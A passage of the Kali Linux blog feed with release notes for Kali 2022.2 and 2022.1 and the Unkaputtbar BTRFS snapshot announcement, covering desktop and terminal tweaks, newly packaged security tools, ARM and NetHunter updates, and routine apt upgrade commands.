&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/running-app-icons-old.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/running-app-icons-old.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>After&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/running-app-icons-new.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/running-app-icons-new.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="automated-copy-of-missing-configurations">Automated Copy of Missing Configurations:&lt;/h4>
&lt;p>Generally, configuration files in Kali are stored outside of the &lt;code>$HOME&lt;/code> directory, but some programs do not support this. As a workaround, &lt;strong>some config-files need to be copied to the user&amp;rsquo;s home directory&lt;/strong> when it gets created.&lt;/p>
&lt;p>This method has two issues:&lt;/p>
&lt;ul>
&lt;li>Firstly, if the user removes an important file inside their folder, the system might not behave as expected.&lt;/li>
&lt;li>Alternatively, the user will only receive the config-files available the moment it gets created. Therefore, if an OS update or program adds a new file &lt;em>(or modifies and existing)&lt;/em>, the user will not receive it unless they manually copy it.&lt;/li>
&lt;/ul>
&lt;p>With this change, the system will &lt;strong>automatically copy any file from &lt;code>/etc/skel&lt;/code> found missing in your home folder&lt;/strong> without replacing the already existing ones (do not worry, &lt;strong>your changes will not get overwritten&lt;/strong>). So if, for example, you remove the Zsh shell configuration file, &lt;code>~/.zshrc&lt;/code>, the next time you log in, the file will be replaced.&lt;/p>
&lt;h4 id="virtualbox-shared-folder-support">VirtualBox Shared Folder Support&lt;/h4>
&lt;p>If you are using VirtualBox, when a user account is created, it is now automatically added to the &lt;code>vboxsf&lt;/code> group by default. This means if you are using VirtualBox, there is now &lt;strong>one less step if you want to use shared folders&lt;/strong>.&lt;/p>
&lt;h2 id="tweaks-for-the-terminal">Tweaks for the Terminal&lt;/h2>
&lt;ul>
&lt;li>Small changes to the Zsh &lt;strong>syntax-highlighting&lt;/strong> colours to improving legibility.&lt;/li>
&lt;li>&lt;code>python3-pip&lt;/code> and &lt;code>python3-virtualenv&lt;/code> are now included by default Kali installations.&lt;/li>
&lt;li>Added &lt;strong>shell autocompletion for John The Ripper&lt;/strong>.&lt;/li>
&lt;li>All &lt;strong>&amp;hellip;2john&lt;/strong> tools (&lt;code>zip2john&lt;/code>, &lt;code>7z2john&lt;/code>, &lt;code>pdf2john&lt;/code>, etc.) can now be called directly by just typing their name, no need to &lt;code>cd /usr/share/john/&lt;/code> first.&lt;/li>
&lt;li>Resource packages (&lt;code>wordlists&lt;/code>, &lt;code>windows-resources&lt;/code>, &lt;code>powersploit&lt;/code>, etc.) now show a much clearer output with colours differentiating the type of file or directory:&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/kali-treecd-tweaks.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/kali-treecd-tweaks.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="hollywood-activate--kali-screensaver-april-fools">Hollywood Activate / Kali Screensaver (April Fools)&lt;/h2>
&lt;p>&lt;a href="https://twitter.com/kalilinux/status/1377659731913871362">Last year&lt;/a> for April Fools Day we did our &lt;strong>&amp;ldquo;Kali 4 Kids&amp;rdquo;&lt;/strong> joke, which a scarily large number of people took &lt;em>VERY&lt;/em> seriously. The number of organizations that contacted us wanting access to Kali 4 Kids was crazy.&lt;/p>
&lt;p>This year, instead of celebrating with a joke, we wanted to give everyone something fun.&lt;/p>
&lt;p>We have all seen Kali show up in movies and TV shows (like &lt;a href="https://www.kali.org/blog/mr-robot-arg-society/">Mr. Robot&lt;/a>) over the years. Hacking as shown in popular media, has ranged from really fun to completely absurd, so we saw the opportunity to do a tribute to some of our favourite instances (and get a little nostalgic).&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2022-2-release/videos/hollywood-activate.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;p>Even though this project was designed for 1st April it still works as an awesome screensaver. For this reason, we thought it would be a good idea to keep it in our repository so you can install it whenever you want:&lt;/p>
&lt;p>&lt;strong>Installation&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt -y install kali-screensaver
&lt;/code>&lt;/pre>
&lt;p>You can also install the &lt;strong>&lt;code>hollywood-activate&lt;/code>&lt;/strong> command to be able to launch it immediately from the terminal and avoid waiting for the screensaver to launch:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt -y install hollywood-activate
┌──(kali㉿kali)-[~]
└─$ hollywood-activate
&lt;/code>&lt;/pre>
&lt;p>If you want this on macOS or Windows, &lt;a href="https://gitlab.com/kalilinux/packages/kali-screensaver/-/blob/kali/master/hollywood-activate.mp4">download the video file&lt;/a>, and then use something like:&lt;/p>
&lt;ul>
&lt;li>macOS: &lt;a href="http://s.sudre.free.fr/Software/SaveHollywood/about.html">SaveHollywood&lt;/a>&lt;/li>
&lt;li>Windows: &lt;a href="https://sourceforge.net/projects/videosaver/">videosaver&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-unkaputtbar">Kali Unkaputtbar&lt;/h2>
&lt;p>&lt;a href="https://www.kali.org/blog/unkaputtbar/">Last March&lt;/a> we introduced the official support for &lt;strong>BTRFS snapshotting&lt;/strong> in Kali Linux. We call it &lt;a href="https://www.kali.org/docs/installation/btrfs/">&lt;strong>Kali Unkaputtbar&lt;/strong>&lt;/a>!
&lt;em>Sounds great, doesn&amp;rsquo;t it!&lt;/em>&lt;/p>
&lt;blockquote>
&lt;p>Unkaputtbar brings Virtual Machines&amp;rsquo; (VMs&amp;rsquo;) snapshot feature to bare-metal and injects some steroids.&lt;/p>
&lt;p>Have you ever wished you could travel back in time after deleting that important customer report or after installing a broken driver (Nvidia?) just before heading into a board meeting? Well, you&amp;rsquo;d better read on, because now you can!&lt;/p>
&lt;/blockquote>
&lt;h3 id="features">Features&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Boot snapshot&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Diff snapshots&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Browse snapshots&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Additional automatic snapshots&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>For more information, here you have all the &lt;a href="https://www.kali.org/docs/installation/btrfs/">documentation for &lt;strong>BTRFS Installation&lt;/strong>&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/btrfs-rollback.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/btrfs-rollback.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;em>Preview of Kali Unkaputtbar in action, showing all the previous snapshots you can choose from the boot menu.&lt;/em>&lt;/p>
&lt;h2 id="win-kex-31">Win-KeX 3.1&lt;/h2>
&lt;p>This update eliminates a restriction preventing GUI application from being run as root. Now you can start any GUI application with sudo, e.g.&lt;/p>
&lt;pre>&lt;code class="language-console">sudo wireshark
&lt;/code>&lt;/pre>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/win-kex_sudo.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/win-kex_sudo.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/bruteshark/">BruteShark&lt;/a> - Network Forensic Analysis Tool (NFAT)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/evil-winrm/">Evil-WinRM&lt;/a> - Ultimate WinRM shell&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/hakrawler/">Hakrawler&lt;/a> - Web crawler designed for easy, quick discovery of endpoints and assets&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/httpx-toolkit/">Httpx&lt;/a> - Fast and multi-purpose HTTP toolkit&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/lapsdumper/">LAPSDumper&lt;/a> - Dumps LAPS passwords&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/phpsploit/">PhpSploit&lt;/a> - Stealth post-exploitation framework&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/ruby-pedump/">PEDump&lt;/a> - Dump Win32 executable files&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sentrypeer/">SentryPeer&lt;/a> - SIP peer-to-peer honeypot for VoIP&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sparrow-wifi/">Sparrow-wifi&lt;/a> - Graphical Wi-Fi Analyzer for Linux&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/wifipumpkin3/">wifipumpkin3&lt;/a> - Powerful framework for rogue access points&lt;/li>
&lt;/ul>
&lt;p>We want Kali to be able to access and interact with as many different services as possible. We all know that databases often contain juicy information. And &lt;a href="https://pkg.kali.org/pkg/mongodb">MongoDB&lt;/a> is no exception. The client has been restored &amp;amp; fixed up. Sorry for the down time!&lt;/p>
&lt;p>&lt;em>There have been numerous packages updates as well.&lt;/em>&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-2-release/images/WPSonNH-Watch.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-2-release/images/WPSonNH-Watch.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The legendary &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a> has added a new &lt;strong>WPS Attacks&lt;/strong> tab to the Kali NetHunter app, which utilizes OneShot to perform various WPS attacks without monitor mode from your internal wireless chip, even from your Kali NetHunter watch!&lt;/p>
&lt;p>The TicWatch Pro 3 GPS, LTE, Ultra GPS, Ultra LTEare receiving initial NetHunter support. It features the same functionalities as the TicWatch Pro, except BadUSB. We are Trying Harder to bring you even more for the next release on this watch! In the meantime, &lt;strong>all TicWatch Pros are now supported - TicWatch Pro, Pro 2020, Pro 4G/LTE&lt;/strong>.&lt;/p>
&lt;p>Head over to our &lt;a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-ticwatch-pro-3/">documentation site&lt;/a> for a step-by-step guide on how to install Kali NetHunter on your TicWatch Pro 3 device.&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>&lt;strong>Raspberry Pi&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Bump kernel to 5.10.103&lt;/li>
&lt;li>Bluetooth is fixed, for real this time&lt;/li>
&lt;li>Wi-Fi firmware now uses 7.45.206 by default instead of 7.45.154, with nexmon patches applied&lt;/li>
&lt;li>Raspberry Pi Zero 2 W is now supported by nexmon&lt;/li>
&lt;li>Improvements to the &lt;code>wpa_supplicant.conf&lt;/code> handling&lt;/li>
&lt;li>Kernel has NVME support built in, instead of module, so Raspberry Pi Compute Modules that use NVMe for their root device will work out of the box&lt;/li>
&lt;li>The Raspberry Pi userland is now packaged up for ARM64 instead of built manually at image creation&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Pinebook Pro&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Use the Kali kernel and u-boot instead of compiling our own&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>USB Armory MKII&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Bump to kernel 5.15&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Radxa Zero&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Build scripts available for either eMMC or SD Card. Documentation still needs to be written, but loosely follow the instructions on the Radxa Zero wiki&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Build Script improvements&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;code>command-not-found&lt;/code> and &lt;code>kali-tweaks&lt;/code> are included in minimal builds&lt;/li>
&lt;li>The base directory is now cleaned up at build completion instead of an empty directory left around&lt;/li>
&lt;/ul>
&lt;p>We would also like to give a &lt;a href="https://www.kali.org/docs/community/contribute/">community shout-out&lt;/a> to &lt;a href="mailto:syndrowm@gmail.com">Syndrowm&lt;/a>, who improved &lt;code>wpa_supplicant.conf&lt;/code> handling on Raspberry Pi devices - thank you!&lt;/p>
&lt;h2 id="kali-documentation-updates">Kali Documentation Updates&lt;/h2>
&lt;p>We&amp;rsquo;ve pushed a couple of changes to the &lt;a href="https://www.kali.org/docs/">Kali-Docs&lt;/a> during this time as well. One new page that we think Apple silicon users will enjoy, and a sizeable change to another page that will interest any users wishing to access a &amp;ldquo;Desktop&amp;rdquo; (aka Graphical User Interface - GUI) from a normally strictly headless instance.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/x86-on-arm/">Running x86 on ARM&lt;/a> (New)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/general-use/xfce-with-rdp/">Accessing Xfce with RDP&lt;/a> (Updated)&lt;/li>
&lt;/ul>
&lt;h2 id="download-kali-linux-20222">Download Kali Linux 2022.2&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead. This way you will have fewer updates to do.&lt;/p>
&lt;p>&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2022.2 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2022.2&amp;quot;
VERSION_ID=&amp;quot;2022.2&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT Debian 5.16.18-1kali1 (2022-04-01)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.16.0-kali7-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p>
&lt;p>Want to keep in up-to-date easier? We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> &amp;amp; &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a>!&lt;/p></description></item><item><title>Kali Unkaputtbar</title><link>https://www.kali.org/blog/unkaputtbar/</link><guid isPermaLink="true">https://www.kali.org/blog/unkaputtbar/</guid><pubDate>Thu, 10 Mar 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/unkaputtbar/images/banner-unkaputtbar.jpg" type="image/jpg"/><description>&lt;blockquote>
&lt;h5 id="adjective-german">Adjective (German)&lt;/h5>
&lt;p>&lt;strong>&lt;a href="https://en.wiktionary.org/wiki/unkaputtbar">unkaputtbar&lt;/a>&lt;/strong> (comparative unkaputtbarer, superlative am unkaputtbarsten)&lt;/p>
&lt;p>From &lt;em>un-&lt;/em> + &lt;em>kaputt&lt;/em> + &lt;em>-bar&lt;/em>.&lt;/p>
&lt;ol>
&lt;li>(colloquial) indestructible, unbreakable
&lt;em>Diese Flasche ist &lt;strong>unkaputtbar&lt;/strong>.&lt;/em> ― This bottle is &lt;strong>indestructible&lt;/strong>.&lt;/li>
&lt;/ol>
&lt;/blockquote>
&lt;p>With our &lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/">2022.1 release&lt;/a>, we promised something big for you bare-metal installers and here it is. With no further ado, we present to you:&lt;/p>
&lt;h3 id="kali-unkaputtbar">Kali Unkaputtbar&lt;/h3>
&lt;p>&lt;em>Summary: &lt;strong>Unkaputtbar brings Virtual Machines&amp;rsquo; (VMs&amp;rsquo;) snapshot feature to bare-metal and injects some steroids&lt;/strong>.&lt;/em>&lt;/p>
&lt;p>Have you ever wished you could travel back in time after deleting that important customer report or after installing a broken driver &lt;em>(Nvidia?)&lt;/em> just before heading into a board meeting?
Well, you better read on, because now you can!&lt;/p>
&lt;p>From zero to hero in 30 seconds (You &lt;em>really&lt;/em> want to enable video playback in your browser for this):&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/unkaputtbar/videos/kali-unkaputtable-demo.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;p>All it takes is installing Kali Linux version 2022.1 or newer with btrfs as the file system and to enable snapshotting after installation and you will get:&lt;/p>
&lt;ul>
&lt;li>automatic snapshots with APT installations or removals&lt;/li>
&lt;li>automatic snapshots on every boot&lt;/li>
&lt;li>automatically created Kali Linux specific btrfs subvolume layout&lt;/li>
&lt;li>new boot menu allowing you to boot into snapshots&lt;/li>
&lt;li>ability to browse the file content of snapshots and copy files across&lt;/li>
&lt;li>perform diffs between snapshots and restore individual files&lt;/li>
&lt;/ul>
&lt;p>But don&amp;rsquo;t take our word for it, see for yourself what &lt;a href="https://www.kali.org/docs/installation/btrfs/">Kali Unkaputtbar&lt;/a> can do.&lt;/p>
&lt;hr>
&lt;h2 id="unkaputtbar-features">Unkaputtbar features&lt;/h2>
&lt;h4 id="boot-snapshot">Boot snapshot&lt;/h4>
&lt;p>Booting into snaphots from the GRUB boot menu:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/unkaputtbar/images/btrfs-50-rollback1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/unkaputtbar/images/btrfs-50-rollback1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="diff-snapshots">Diff snapshots&lt;/h4>
&lt;p>Using snapper to generate diffs between snapshots:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/unkaputtbar/images/btrfs-60-diff1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/unkaputtbar/images/btrfs-60-diff1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="browse-snapshots">Browse snapshots&lt;/h4>
&lt;p>You can even browse the content of snapshots:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/unkaputtbar/images/btrfs-70-browse1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/unkaputtbar/images/btrfs-70-browse1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="additional-automatic-snapshots">Additional automatic snapshots&lt;/h4>
&lt;p>Configuring additional automatic snapshots such as of your home drive takes mere seconds:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/unkaputtbar/images/btrfs-030-snapper-config2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/unkaputtbar/images/btrfs-030-snapper-config2.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;h2 id="install-unkaputtbar">Install Unkaputtbar&lt;/h2>
&lt;p>Can&amp;rsquo;t wait to get your hands on it?
Well don&amp;rsquo;t ;-)&lt;/p>
&lt;p>Download our latest image from &lt;a href="https://www.kali.org/get-kali/#kali-installer-images">here&lt;/a> and enable automatic snapshots as described in our &lt;a href="https://www.kali.org/docs/installation/btrfs/">dedicated documentation&lt;/a>. That page also contains all the essential information to take full advantage of Kali Unkaputtbar.&lt;/p>
&lt;hr>
&lt;p>&lt;strong>Special Thanks&lt;/strong>:&lt;/p>
&lt;p>Kali Unkaputtbar is made possible by software from an incredible bunch of people and we would like to express our heartfelt thanks to &lt;a href="https://github.com/Antynea">Antynea&lt;/a>, &lt;a href="https://github.com/ricardomv">Ricardo Vieira&lt;/a>, and our friends at &lt;a href="https://www.opensuse.org/">openSUSE&lt;/a> for their tireless work on &lt;a href="https://pkg.kali.org/pkg/grub-btrfs">grub-btrfs&lt;/a>, &lt;a href="https://pkg.kali.org/pkg/snapper-gui">snapper-gui&lt;/a>, &amp;amp; &lt;a href="https://pkg.kali.org/pkg/snapper">snapper&lt;/a> respectively.&lt;/p></description></item><item><title>Kali Linux 2022.1 Release (Visual Updates, Kali Everything ISOs, Legacy SSH)</title><link>https://www.kali.org/blog/kali-linux-2022-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2022-1-release/</guid><pubDate>Mon, 14 Feb 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2022-1-release/images/banner-2022.1-release.jpg" type="image/jpg"/><description>&lt;p>Today we are pushing out the first Kali Linux &lt;a href="https://www.kali.org/releases/">release&lt;/a> of the new year with &lt;strong>Kali Linux 2022.1&lt;/strong>, and just in time for Valentine&amp;rsquo;s Day! This release brings various visual updates and tweaks to existing features, and is ready to be &lt;a href="https://www.kali.org/get-kali/">downloaded&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgraded &lt;em>if you have an existing Kali Linux installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/">2021.4 release from December 2021&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#visual-refresh-theme-updates">Visual Refresh&lt;/a>&lt;/strong> - Updated wallpapers and GRUB theme&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#shell-prompt-changes">Shell Prompt Changes&lt;/a>&lt;/strong> - Visual improvements to improve readability when copying code&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#refreshed-browser-landing-page">Refreshed Browser Landing Page&lt;/a>&lt;/strong> - Firefox and Chromium homepage has had a makeover to help you access everything Kali you need&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#kali-everything-image-everything-in-one-place">Kali Everything Image&lt;/a>&lt;/strong> - An all-packages-in-one solution now available to download&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#kali-tweaks-legacy-ssh-made-easy">Kali-Tweaks Meets SSH&lt;/a>&lt;/strong> - Connect to old SSH servers using legacy SSH protocols and ciphers&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#vmware-i3-improvements">VMware i3 Improvements&lt;/a>&lt;/strong> - Host-guest features properly work now on i3&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#accessibility-talk-to-me">Accessibility Features&lt;/a>&lt;/strong> - Speech synthesis is back in the Kali installer&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-1-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - Various new tools added, many from ProjectDiscovery!&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Besides that, we have been working on a new feature, which just isn&amp;rsquo;t quite ready yet (as the &lt;a href="https://www.kali.org/docs/">documentation&lt;/a> is still in progress!). It&amp;rsquo;s a large one, so it&amp;rsquo;s going to have its own blog post once ready to help demonstrate its importance to us. This one is for you bare-metal installers!&lt;/em>&lt;/p>
&lt;p>&lt;em>Edit: &lt;a href="https://www.kali.org/blog/unkaputtbar/">Now out&lt;/a>!&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="visual-refresh-theme-updates">Visual Refresh: Theme Updates&lt;/h2>
&lt;p>As promised back in &lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/">Kali 2021.2&lt;/a>, beginning with this release (2022.1) going forwards, our yearly 20xx.1 versions will be the only releases to have the main visual updates. Using a yearly lifecycle, it makes it easier to recognize the different versions of Kali Linux over time. This update includes &lt;strong>new wallpapers&lt;/strong> for desktop, &lt;strong>login&lt;/strong>, and &lt;strong>boot displays&lt;/strong>, in addition to a &lt;strong>refreshed installer theme&lt;/strong> &lt;em>which you may have seen if you have recently &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updated&lt;/a>.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-1-release/images/desktop-wallpaper.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-1-release/images/desktop-wallpaper.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-1-release/images/login-wallpaper.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-1-release/images/login-wallpaper.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Moreover, the functions, theme and layout of the boot menu present in our ISO images have been improved. With these changes, it makes them consistent throughout. Previously, the menus in the &lt;strong>UEFI&lt;/strong> and the &lt;strong>BIOS boot menus&lt;/strong> had different options, designs, and were also written differently, making them confusing. Throw into the mix that there were multiple differences between &amp;ldquo;installer&amp;rdquo;, &amp;ldquo;live&amp;rdquo;, &amp;ldquo;netinstall&amp;rdquo; and &amp;ldquo;mini&amp;rdquo; options as well. All of these problems have been addressed and they now have a &lt;strong>universal feel&lt;/strong> to them all.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-1-release/images/boot-theme.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-1-release/images/boot-theme.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="shell-prompt-changes">Shell Prompt Changes&lt;/h2>
&lt;p>You talked, we listened. We have made a few tweaks which we hope will make your life easier since our last prompt update in &lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/">2020.4&lt;/a>. Examples of this problem may be when writing a professional pentesting report or collaborating on debugging code and sharing the terminal, the &lt;strong>right-side prompt&lt;/strong> &lt;em>(which had the exit code and the number of background processes)&lt;/em> may of gotten in the way. So it has been &lt;strong>removed from our default shell&lt;/strong>, ZSH. Along with this, &lt;strong>the skull in the root prompt has been replaced&lt;/strong> with a simple &lt;code>㉿&lt;/code>. For those that miss the root skull (💀), you can easily edit your &lt;code>~/.zshrc&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[~]
└─# sed -i 's/prompt_symbol=㉿/prompt_symbol=💀/' ~/.zshrc
┌──(root㉿kali)-[~]
└─# source ~/.zshrc
┌──(root💀kali)-[~]
└─#
&lt;/code>&lt;/pre>
&lt;p>If you do a fresh install of Kali 2022.1, you will have these changes. If you are upgrading, you will need to manually apply these edits by doing the following:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ cp -i /etc/skel/.{bash,zsh}rc ~/
&lt;/code>&lt;/pre>
&lt;h2 id="refreshed-browser-landing-page">Refreshed Browser Landing Page&lt;/h2>
&lt;p>This release comes with a fresh new look for the &lt;strong>default landing page&lt;/strong> shipped inside Kali. Utilizing the refreshed documentation sites &lt;em>(&lt;a href="https://www.kali.org/docs/">Kali-Docs&lt;/a> and &lt;a href="https://www.kali.org/tools/">Kali-Tools&lt;/a>)&lt;/em>, the search function will help you find almost anything you could need using Kali Linux!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-1-release/images/firefox-home-page.png' target="_blank" style="display: inline-block">
